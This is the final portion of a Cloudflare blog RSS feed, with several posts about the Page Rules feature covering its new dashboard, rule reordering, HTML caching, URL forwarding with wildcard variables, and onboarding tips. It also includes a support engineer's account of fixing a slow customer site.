            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/7AtJKwp6TtG25wc89PGBt2/7a180aca077d08f001842748a845c2ee/IMG_3076-4.png" />
            
            </figure>
    <div>
      <h3>Available Now</h3>
      <a href="#available-now">
        
      </a>
    </div>
    <p>We're rolling out support for the new page rules dashboard and API this morning for all CloudFlare customers. If you're a current CloudFlare customer, <a href="https://www.cloudflare.com/a/page-rules">visit the dashboard</a> to check it out. All of your existing page rules are still intact and unchanged, just presented in a new interface. If you’re not a customer yet and you’re interested in trying this out, you can sign up <a href="https://www.cloudflare.com/a/sign-up">here</a>.</p> ]]></content:encoded>
            <category><![CDATA[Page Rules]]></category>
            <category><![CDATA[Product News]]></category>
            <category><![CDATA[Speed & Reliability]]></category>
            <category><![CDATA[API]]></category>
            <guid isPermaLink="false">5WmU75LrDZGSDzwHNKsRxy</guid>
            <dc:creator>Dani Grant</dc:creator>
        </item>
        <item>
            <title><![CDATA[A Day in the Life of a Technical Support Engineer at CloudFlare - Marty Strong, London]]></title>
            <link>https://blog.cloudflare.com/a-day-in-the-life-of-a-technical-support-engineer-at-cloudflare-marty-strong-london/</link>
            <pubDate>Thu, 16 Jan 2014 12:00:00 GMT</pubDate>
            <description><![CDATA[ As a Technical Support Engineer I get to work with many different members of the CloudFlare family and with customers from all around the world. Each day is very different to the next, and of course, some days stand out more than others. ]]></description>
            <content:encoded><![CDATA[ <p><i>This blog post is the first in a series from the CloudFlare support team. Over the next few months, engineers from our support team will write posts about working with customers and with other members of the CloudFlare team.</i></p><p>As a Technical Support Engineer I get to work with many different members of the CloudFlare family and with customers from all around the world. Each day is very different to the next, and of course, some days stand out more than others.</p><p>Recently, I spent a bit of time working with a customer on an issue that was causing severe performance degradation on their website. The initial inquiry described a website that was yet to be publicised so it wasn’t seeing very much traffic. However, pages on the site were taking almost a minute to load. Throughout the day I worked with both the customer and other members of the support team to eliminate all the possible causes of the performance degradation. The main areas we looked at were:</p><ul><li><p>Did the customer’s server run out of resources?</p></li><li><p>Was there anything preventing assets from being cached?</p></li><li><p>Had the ISP of the customer caused traffic to be routed strangely?</p></li><li><p>Were there any parts of the site that were noticeably slower than others?</p></li><li><p>Did performance change when browsing the customer’s server directly?</p></li></ul><p>After eliminating each of those points, it was unclear to us what was causing the issue. At this point we decided to make some configuration changes within the customer’s CloudFlare account. The main thing we did was to set up a few <a href="/introducing-pagerules-fine-grained-feature-co">Page Rules</a> to force everything under a certain URL pattern to be cached. The motivation for doing this was to ensure the site was fast for visitors while we continued to work on the performance issue behind the scenes. Another feature enabled for this CloudFlare Business customer was <a href="https://www.cloudflare.com/railgun">Railgun</a>, to improve performance on any pages that we couldn’t set a Cache Everything page rule on.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/5HW3LrJHPsbJ2pXxisRo1A/91e92b12b4740c907f1efc3010b217f2/illustration-support-blog.png" />
            
            </figure><p>After a careful examination of exactly what was running on the customer’s server we managed to find what was causing the issues — it was an installation of a caching programme on the origin that was taking up too much CPU, causing the web server to have to wait a long time before it could respond to any incoming requests. Upon disabling the programme the CPU load on the server dropped dramatically, this hugely improved performance.</p><p>By the end of the day the issue was solved and the customer had some extra CloudFlare features enabled to fully optimise the performance of their website — a great day working with a customer.</p><hr /><p><b><i>About Marty</i></b></p><p><i>Though he’d love to be at a Formula 1 race track any day of the week, we have convinced Marty to hang out in our UK office and help our customers. Previously a developer, Marty came to CloudFlare in the most awesome of ways: he was a customer. He’s now excited to be behind the scenes making the CloudFlare experience better for everyone. On his off days, he’ll be traveling between Formula 1 race tracks throughout the world.</i></p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/3AZL1CgHWakcTdedwUJeWT/143197e69ea09f10645b4f26fdaf3273/2014-01-15_14.03.20.jpg" />
            
            </figure><p> The London Support Team (Marty is on the far left)</p><p>Do you have the enthusiasm to work with a technically motivated team? Do you enjoy working with a diverse global customer base? Are you somebody who uses their intuition to solve problems? CloudFlare is hiring Technical Support Engineers in <a href="https://www.cloudflare.com/join-our-team">London and San Francisco</a>.</p> ]]></content:encoded>
            <category><![CDATA[Speed & Reliability]]></category>
            <category><![CDATA[Customers]]></category>
            <category><![CDATA[Support]]></category>
            <category><![CDATA[Page Rules]]></category>
            <category><![CDATA[United Kingdom]]></category>
            <guid isPermaLink="false">7tZhepYTRVBWQzXZgqsFJQ</guid>
            <dc:creator>Marty Strong</dc:creator>
        </item>
        <item>
            <title><![CDATA[Page Rules Reordering Now Available]]></title>
            <link>https://blog.cloudflare.com/page-rules-reordering-now-available/</link>
            <pubDate>Fri, 22 Mar 2013 21:53:00 GMT</pubDate>
            <description><![CDATA[ Page Rules are powerful tools for controlling how CloudFlare works on your site on a page-by-page basis. Customers customize CloudFlare with Page Rules based on their specific needs. ]]></description>
            <content:encoded><![CDATA[ <p>Page Rules are powerful tools for controlling how CloudFlare works on your site on a page-by-page basis. Customers customize CloudFlare with Page Rules based on their specific needs, including changing or extending caching, forwarding URLs, or disabling certain features for specific pages or directories.</p><p>Today, we're making managing Page Rules even easier with Page Rules reordering.</p><p>Page Rules are applied in the order they appear in your CloudFlare dashboard, from top to bottom. The order matters, since the first Page Rule to match the request is applied. So, if you want to apply aggressive caching to a specific set of pages but exclude caching on one login or admin URL, you'd put the exclude caching Page Rule above the aggressive caching Page Rule.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/0zya2BGwTXblieq1WPZtS/f64e1943a9b0a60c8a3fada330fd5e83/Page_Rules_screenshot.tiff.scaled500.jpg" />
            
            </figure><p>Before today, reordering Page Rules was cumbersome. You had to delete and re-add Page Rules in the order that you wanted them to be applied. Now, you can easily reorder Page Rules by clicking on the icon to the left and dragging them up or down.</p><p>If you're not familiar with Page Rules or not sure how to use them, review <a href="https://support.cloudflare.com/entries/22576178-Is-there-a-tutorial-for-PageRules-">this tutorial</a>.</p><p>Page Rules are found in the menu available under the gear icon in My Websites, as shown in this screenshot.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/5Yfq5hwQmu6dIplY1MZri6/4a91c041981f3083de7ab0d2e7b14b29/page-rules-in-menu.png.scaled500.png" />
            
            </figure><p>Reordering feature is available <b>now</b> for all customers, with the number of Page Rules set by plan type: Free domains get 3, Pro domains get 20, Business domains get 50, and Enterprise domains get a custom number.</p> ]]></content:encoded>
            <category><![CDATA[Page Rules]]></category>
            <category><![CDATA[Product News]]></category>
            <category><![CDATA[Speed & Reliability]]></category>
            <guid isPermaLink="false">3duJqwkhV5Py97llOEmqUU</guid>
            <dc:creator>Michelle Zatlyn</dc:creator>
        </item>
        <item>
            <title><![CDATA[Cloudflare tips: recommended steps for new users]]></title>
            <link>https://blog.cloudflare.com/cloudflare-tips-recommended-steps-for-new-use/</link>
            <pubDate>Fri, 09 Mar 2012 19:12:00 GMT</pubDate>
            <description><![CDATA[ CloudFlare's core value is that we speed up and protect any website. For new and current users, we wanted to pull together a handy guide that helps you get the most out of CloudFlare. ]]></description>
            <content:encoded><![CDATA[ <p></p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/2Kmz2d4mjIyQgRt8IXxZYX/9fd49580128f20f43f59a8374b1a16fb/5799082357_f8dd3067b3.jpg" />
            
            </figure><p><sup>Mother Temple of Besakih in Bali, indonesia by dbillian, on </sup><a href="http://www.flickr.com/photos/damonbillian/5799082357/"><sup>Flickr</sup></a></p><p><i>Editor's Note: Since the post has the word "steps" in it, I thought I would include a picture of some steps from a visit to </i><a href="http://en.wikipedia.org/wiki/Mother_Temple_of_Besakih"><i>Mother Temple of Besakih</i></a><i> in Bali, Indonesia. I had the good fortune of visiting Bali in 2011, and the most amazing thing about the temple is that it is built on the slopes of an active volcano.</i></p><p>CloudFlare's core value is that we speed up and <a href="https://www.cloudflare.com/learning/security/glossary/website-security-checklist/">protect</a> any website. For new and current users, we wanted to pull together a handy guide that helps you get the most out of CloudFlare.</p>
    <div>
      <h3>Recommended Steps</h3>
      <a href="#recommended-steps">
        
      </a>
    </div>
    <p><i>1. Best way to Resolve an Issue - 'Pause'</i></p><p>When you sign up for CloudFlare, the service should just work. However, if you notice a problem after activating CloudFlare, do not change nameservers away from CloudFlare. Instead, temporarily deactivate CloudFlare by choosing the 'pause' or 'deactivate' option on your CloudFlare My Websites Page:</p><p>Settings → Pause/Deactivate CloudFlare</p><p>Changing name servers away from CloudFlare makes it difficult to troubleshoot. If you 'pause' the service, the issue will likely be immediately resolved. Then, contact our technical support team so we can work with you to resolve the root cause.</p><p>Also see: <a href="/cloudflare-tips-troubleshooting-common-proble">Troubleshooting CloudFlare Problems</a></p><p><i>2. Preserving IP information --&gt; Install modcloudflare (or equivalent)</i></p><p>Since CloudFlare acts as a reverse proxy for websites, CloudFlare's IPs are going to show in your server logs. There is an easy fix to <a href="https://support.cloudflare.com/forums/21318827-how-do-i-restore-original-visitor-ip-to-my-server-logs">restore original visitor IP</a> for any web server.</p><p>If you have issues with things like GeoIP or .htaccess blocks not working properly on your site, installing <a href="https://www.cloudflare.com/resources-downloads">mod_cloudflare</a> will resolve the problem immediately.</p><p>You should also allowlist all of <a href="https://www.cloudflare.com/ips">CloudFlare's IP addresses</a> with your hosting provider and on your server.</p><p>Note: This is not required if you have activated CloudFlare through a <a href="http://www.cloudflare.com/hosting-partners">CloudFlare CertifiedPartner</a>.</p><p><i>3. Create PageRules</i></p><p>PageRules gives you more performance and configuration options, including:</p><ul><li><p><a href="/introducing-pagerules-advanced-caching">Cache HTML</a> (our default configuration only <a href="https://support.cloudflare.com/entries/22037282-what-file-extensions-does-cloudflare-cache-for-static-content">caches these static content files</a>)</p></li><li><p><a href="/introducing-pagerules-fine-grained-feature-co">Exclude certain URLs from CloudFlare features and caching</a></p></li><li><p><a href="/introducing-pagerules-url-forwarding">302 redirects</a></p></li></ul><p>We recommend that you use PageRules to exclude the admin section of yourwebsite from CloudFlare's services. This will ensure you don't see any error messages or have issues updating plugins. The PageRule you will need to create has the following structure for WordPress:</p><p>*mydomain.com/wp-admin</p><p><i>4. Familiarize yourself with the CloudFlare settings</i></p><p>CloudFlare offers a number of optional security and performance options that can be turned on or off on your "Settings" page:</p><p>My Websites → Settings → CloudFlare settings</p><p>Some of the key features that we'd like to highlight:</p>
    <div>
      <h3>IPv6 Gateway</h3>
      <a href="#ipv6-gateway">
        
      </a>
    </div>
    <p>Make your website <a href="/introducing-cloudflares-automatic-ipv6-gatewa">IPv6 compatible</a> without having to purchase expensive hardware. CloudFlare's IPv6 Gateway is available to all customers free of charge.</p>
    <div>
      <h3>Web Content Optimization Features</h3>
      <a href="#web-content-optimization-features">
        
      </a>
    </div>
    <p><a href="/56590463">Rocket Loader</a> and <a href="/an-all-new-and-improved-autominify">Auto Minify</a> are free beta features that will help speed up your website. What they do:</p><p>**Rocket Loader:**If you have ads, widgets or plugins on your website, Rocket Loader will speed up the delivery of your pages by automatically asynchronously loading your JavaScript resources.</p><p><b>Auto Minify:</b> Removes unnecessary characters from HTML, <a href="https://www.cloudflare.com/learning/performance/how-to-minify-css/">CSS</a>, and JavaScript to save on file size.</p><p>Note: These features are still in beta. We encourage you to try them but if you see an issue, then just turn them off. Please <a href="https://www.cloudflare.com/wco-bug-report.html">report the bugs to CloudFlare</a> so our magical engineers can work on fixes.</p>
    <div>
      <h3>SSL</h3>
      <a href="#ssl">
        
      </a>
    </div>
    <p><a href="/easiest-ssl-ever-now-included-automatically-w">SSL support</a> can be added to any website on CloudFlare on a <a href="http://www.cloudflare.com/plans">paid account</a>.</p><p>Paid plans offer additional security and performance features than free accounts. You can see the differences in our <a href="http://www.cloudflare.com/plans">comparison chart</a>.</p><p><i>5. Check out the CloudFlare App Store</i></p><p>CloudFlare has partnered with a number of <a href="https://www.cloudflare.com/apps">popular web applications</a> to make adding these apps easy. You can get access to any of these services without touching your code or worrying about if they will interfere with another service on your site. The most popular services include:</p><ul><li><p><a href="https://www.cloudflare.com/apps/google_analytics">Google Analytics</a> : Install Google Analytics on all of your pages</p></li><li><p><a href="https://www.cloudflare.com/apps/viglink">VigLink</a>: Make money from the content on your website or blog</p></li><li><p><a href="https://www.cloudflare.com/apps/codeguard">CodeGuard</a>: Back up your website content</p></li><li><p><a href="https://www.cloudflare.com/apps/highlight">Highlight</a>: Add contextual search with one click to your site (developed by CloudFlare)</p></li></ul><p><i>6. Search our Knowledge Base for FAQs</i></p><p>While we love answering questions from our customers as quickly as possible, many questions can be answered by doing a quick search through <a href="https://support.cloudflare.com/">CloudFlare's help content</a>.</p><p><i>7. Follow us on Facebook and Twitter</i></p><p>We use <a href="https://www.facebook.com/CloudFlare">Facebook</a> and <a href="https://twitter.com/cloudflare">Twitter</a> as our primary communication channels for announcing new product releases, known system issues and to give users early access to beta features. If you want to know as much as you can about CloudFlare, or if you only have a really quick question to ask, Facebook and Twitter are the best places to go. We also recently launched a <a href="https://plus.google.com/100611700350554803650">Google+</a> page.</p><p>If you ever have a question, please <a>contact us</a>. We read every email that we get and love to hear from our users.</p> ]]></content:encoded>
            <category><![CDATA[IPv6]]></category>
            <category><![CDATA[Cloudflare Apps]]></category>
            <category><![CDATA[Page Rules]]></category>
            <category><![CDATA[Onboarding]]></category>
            <category><![CDATA[Best Practices]]></category>
            <guid isPermaLink="false">6zfYEWsq8nAzB0YUrAb4tJ</guid>
            <dc:creator>Damon Billian</dc:creator>
        </item>
        <item>
            <title><![CDATA[Introducing Page Rules: Advanced Caching (Including Configurable HTML Caching)]]></title>
            <link>https://blog.cloudflare.com/introducing-pagerules-advanced-caching/</link>
            <pubDate>Wed, 22 Feb 2012 18:24:00 GMT</pubDate>
            <description><![CDATA[ On Monday, CloudFlare officially announced Page Rules. The new feature allows you to customize behavior on a page-by-page basis. The previous two blog posts have outlined how you can turn off CloudFlare's features based on URL patterns, or accomplish advanced URL forwarding. ]]></description>
            <content:encoded><![CDATA[ <p></p><p>On Monday, CloudFlare officially announced Page Rules. The new feature allows you to customize behavior on a page-by-page basis. The previous two blog posts have outlined how you can <a href="/introducing-pagerules-fine-grained-feature-co">turn off CloudFlare's features based on URL patterns</a>, or accomplish advanced URL forwarding.</p><p>In addition to the ability to these abilities, Page Rules also enables a powerful new way that you can enhance CloudFlare's caching. This post is dedicated to that.</p>
    <div>
      <h3>Default CloudFlare Caching</h3>
      <a href="#default-cloudflare-caching">
        
      </a>
    </div>
    <p>CloudFlare operates <a href="http://www.cloudflare.com/network-map">14 data centers around the world</a>. When a visitor comes to a CloudFlare-powered website, they are directed to the data center closest to them. CloudFlare analyzes the traffic that passes back through each data center to find the parts of a website that are static. We then cache these objects at the edge for a short period of time.</p><p>There are two primary benefits of caching. The first is that it moves static objects closer to the visitor requesting them, which makes their delivery faster. The second is that it decreases the load on the origin web server. Caching plays a big part in how we are able to, on average, reduce server loads, bandwidth costs, and page load times by more than half.</p><p>The challenge of caching is making sure you don't cache dynamic content. We are, by default, conservative with what we cache. We refresh the cache, by default, at least every 2 hours and we don't display cached HTML to normal visitors unless the origin server is unreachable.</p><p>While this is a safe general rule, one of the most requested features has been the ability for us to cache HTML. A lot of sites are largely static, and the owners of those sites would prefer we serve the contents unless it is marked as dynamic. While we have advanced support for cache headers, we've found that they are often misconfigured or difficult for many site owners on hosted platforms to change. With Page Rules, we realized we were able to provide much more advanced caching for those users who wanted it.</p>
    <div>
      <h3>Custom Caching with Page Rules</h3>
      <a href="#custom-caching-with-page-rules">
        
      </a>
    </div>
    <p>From the Page Rules interface, which you access from the Settings menu next to each domain on your My Websites dashboard, you can setup custom caching. There are lots of different configurations but, since it is one of the most requested options, for this first example, I'll walk through how to specify certain pages as static so their HTML will be cached by CloudFlare.</p><p>Like all Page Rules, the first step is creating a pattern and then applying a rule to that pattern. You'll need to find or create a way to differentiate static versus dynamic content by the URL. Some possibilities could be creating a directory for static content, appending a unique file extension to static pages, or adding a query parameter to mark content as static. Here are three examples of patterns you could create for each of those options:</p><ul><li><p><code>*example.com/static/*</code> <i>[/static/ subdirectory for static HTML pages]</i></p></li><li><p><code>*example.com/*.shtml</code> <i>[.shtml file extension to signify HTML that is static]</i></p></li><li><p><code>*example.com/*?*static=true*</code> <i>[adding static=true query parameter]</i></p></li></ul><p>These are just three possible examples. There are virtually infinite ways to create a pattern and the best way to do this will depend on your particular website's setup. You'll want to design the pattern to only describe pages you know are static. For example, you'll want to make sure you exclude pages like the administrative page. If necessary, you can create multiple rules to get the exact caching setup you want.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/6OJP9oms5dxjJzLSdZMGAr/ce0a165377794f213b6be8a9cbfdf46c/caching_menu.png.scaled500.png" />
            
            </figure><p>Once you have created a pattern, you can select the Cache Everything option from the Custom Cache menu. Click the Add Rule button and, going forward, anything that matches the rule will get cached by CloudFlare.</p>
    <div>
      <h3>Limitations and Variations on Page Rules Caching</h3>
      <a href="#limitations-and-variations-on-page-rules-caching">
        
      </a>
    </div>
    <p>We will attempt to cache objects that match the rule, but the caching is limited by the resources available and the number of objects in the cache. Even with the Cache Everything option set, CloudFlare will still periodically check back to refresh the cache. If, at any time, you want to clear the cache then you can do so from the CloudFlare Settings page by selecting the Purge Cache button. Just like with the traditional caching, this will purge Page Rules-based caching immediately and fetch a new copy of content from your server.</p><p>In addition to the Cache Everything setting, Page Rules can also be used to override the default cache setting used throughout the rest of your site. For example, you can specify that certain URLs either ignore or respect the query parameters. Respecting the query parameter can be handy if you'd like to be able to invalidate the traditional cache on an object-by-object basis by updating the query string. Alternatively, ignoring the query string can be useful for Javascript but where you want to pass in variables into the script via GET parameters.</p><p>Overall, Page Rules makes CloudFlare's caching much more adaptable to accommodate multiple caching strategies under the same domain. We'll continue to add more flexibility to the powerful framework created by Page Rules. If there are particular options you'd like us to support, please don't hesitate to <a href="http://cloudflare.com/contact">let us know</a>.</p> ]]></content:encoded>
            <category><![CDATA[Page Rules]]></category>
            <category><![CDATA[Product News]]></category>
            <category><![CDATA[Speed & Reliability]]></category>
            <category><![CDATA[Cache]]></category>
            <guid isPermaLink="false">rgcwRdc863pOEfYSGwlbO</guid>
            <dc:creator>Matthew Prince</dc:creator>
        </item>
        <item>
            <title><![CDATA[Introducing Page Rules: URL Forwarding]]></title>
            <link>https://blog.cloudflare.com/introducing-pagerules-url-forwarding/</link>
            <pubDate>Tue, 21 Feb 2012 18:47:00 GMT</pubDate>
            <description><![CDATA[ In the last blog post, I introduced Page Rules and showed how you could use it to control CloudFlare's features like Apps, Performance, and Security settings on a page-by-page basis. Here I'm going to explain how you can use the same Page Rules interface to enable URL forwarding. ]]></description>
            <content:encoded><![CDATA[ <p></p><p>In the <a href="/introducing-pagerules-fine-grained-feature-co">last blog post</a>, I introduced Page Rules and showed how you could use it to control CloudFlare's features like Apps, Performance, and Security settings on a page-by-page basis. Here I'm going to explain how you can use the same Page Rules interface to enable URL forwarding.</p><p>URL forwarding was a surprise request from a number of early CloudFlare users. Some hosting providers and registrars charge just for this feature, which seemed silly. We'd generally supplied people looking to do URL forwarding with instructions on how to do it via HTACCESS. When we created the infrastructure to support Page Rules, we realized we could now support URL forwarding in an easy but powerful way.</p>
    <div>
      <h3>The Basic Example</h3>
      <a href="#the-basic-example">
        
      </a>
    </div>
    <p>Imagine you have a Google+ profile and you want to make it easy for anyone coming to get to simply by going to a URL like:</p><ul><li><p><code>www.example.com/+</code></p></li></ul><p>To setup forwarding, go to the Page Rules administration page which can be found under the Settings menu next to each domain on your CloudFlare My Websites page. There create a pattern to match the URL you want to forward:</p><ul><li><p><code>*example.com/+</code></p></li></ul><p>This pattern will match:</p><ul><li><p><code>http://example.com/+</code></p></li><li><p><code>http://www.example.com/+</code></p></li><li><p><code>https://www.example.com/+</code></p></li><li><p><code>https://blog.example.com/+</code></p></li><li><p><code>https://www.blog.example.com/+</code></p></li><li><p><i>Etc...</i></p></li></ul><p>It will not match:</p><ul><li><p><code>http://www.example.com/blog/+</code> <i>[extra directory before the +]</i></p></li><li><p><code>http://www.example.com+</code> <i>[no trailing slash]</i></p></li></ul><p>Once I've created the pattern that matches what I want, click the Forwarding toggle. That exposes a field where I can enter the address I want requests forwarded to. <a href="https://plus.google.com/117631136894743822101">My Google+ profile</a> is at the following URL:</p><ul><li><p><code>https://plus.google.com/117631136894743822101</code></p></li></ul><p>If I enter that in the forwarding box and click the Add Rule button within a few seconds any requests that match the pattern I entered will automatically be forwarded with a <a href="http://en.wikipedia.org/wiki/HTTP_302">302 redirect</a> to the new URL. It's slick.</p>
    <div>
      <h3>The Advanced Example</h3>
      <a href="#the-advanced-example">
        
      </a>
    </div>
    <p>Basic forwarding is good for something like redirecting traffic to Google+, but what if you want to do something like force all traffic to your root domain to use the www subdomain. If you use a basic redirect, then you lose anything else in the URL.</p><p>For example, you could setup the pattern:</p><ul><li><p><code>example.com*</code></p></li></ul><p>And have it forward to:</p><ul><li><p><code>www.example.com</code></p></li></ul><p>But then if someone entered:</p><ul><li><p><code>example.com/some-particular-page.html</code></p></li></ul><p>Then they'd be redirected to:</p><ul><li><p><code>www.example.com</code></p></li></ul><p>Not where you'd want them to go:</p><ul><li><p><code>www.example.com/some-particular-page.html</code></p></li></ul><p>The solution is to use variables. Each wildcard corresponds to a variable when can be referenced in the forwarding address. The variables are represented by a $ followed by a number. To refer to the first wildcard you'd use $1, to refer to the second wildcard you'd use $2, and so on. To fix the forwarding from the root to www in the above example, you could use the same pattern:</p><ul><li><p><code>example.com*</code></p></li></ul><p>You'd then setup the following URL for traffic to forward to:</p><ul><li><p><code>www.example.com$1</code></p></li></ul><p>In this case, if someone went to:</p><ul><li><p><code>example.com/some-particular-page.html</code></p></li></ul><p>They'd be redirected to:</p><ul><li><p><code>www.example.com/some-particular-page.html</code></p></li></ul>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/6j3VBJyoM9uumPaS6Qc5yx/e905b52d4880f094a251eb9f8e87bcaf/page_rules_forwarding.png.scaled500.png" />
            
            </figure><p>Or, if you wanted a more powerful Google+ forwarder than described in the basic example above, you could setup the following pattern:</p><ul><li><p><code>*example.com/+*</code></p></li></ul><p>And have it forward to your profile like:</p><ul><li><p><code>https://plus.google.com/117631136894743822101$2</code></p></li></ul><p>Note the $2 at the end of the URL, which represents the second wildcard (*) in the pattern above. Then all of the following links would work properly:</p><ul><li><p><code>http://example.com/+</code></p></li><li><p><code>http://example.com/+/posts</code></p></li><li><p><code>http://example.com/+/about</code></p></li><li><p><code>http://example.com/+/photos</code></p></li><li><p><code>http://example.com/+/videos</code></p></li></ul>
    <div>
      <h3>Troubleshooting</h3>
      <a href="#troubleshooting">
        
      </a>
    </div>
    <p>If you can't get forwarding to work properly, make sure the subdomain you're forwarding from is enabled (orange cloud) from the CloudFlare DNS manager. Also check that multiple rules don't interact with one another in an unexpected way. The rules will take precedence based on when they were created, so if they are not behaving in the way you expect you may need to delete the rules and recreate them in a different order.</p><p>Forwarding using Page Rules enables a number of possibilities that used to require you creating complicated redirect rules in HTACCESS. Give it a shot and let us know if you find powerful new uses in the comments below.</p> ]]></content:encoded>
            <category><![CDATA[Google]]></category>
            <category><![CDATA[Page Rules]]></category>
            <guid isPermaLink="false">7G574GDOjpJX9RAESdLy48</guid>
            <dc:creator>Matthew Prince</dc:creator>
        </item>
    </channel>
</rss>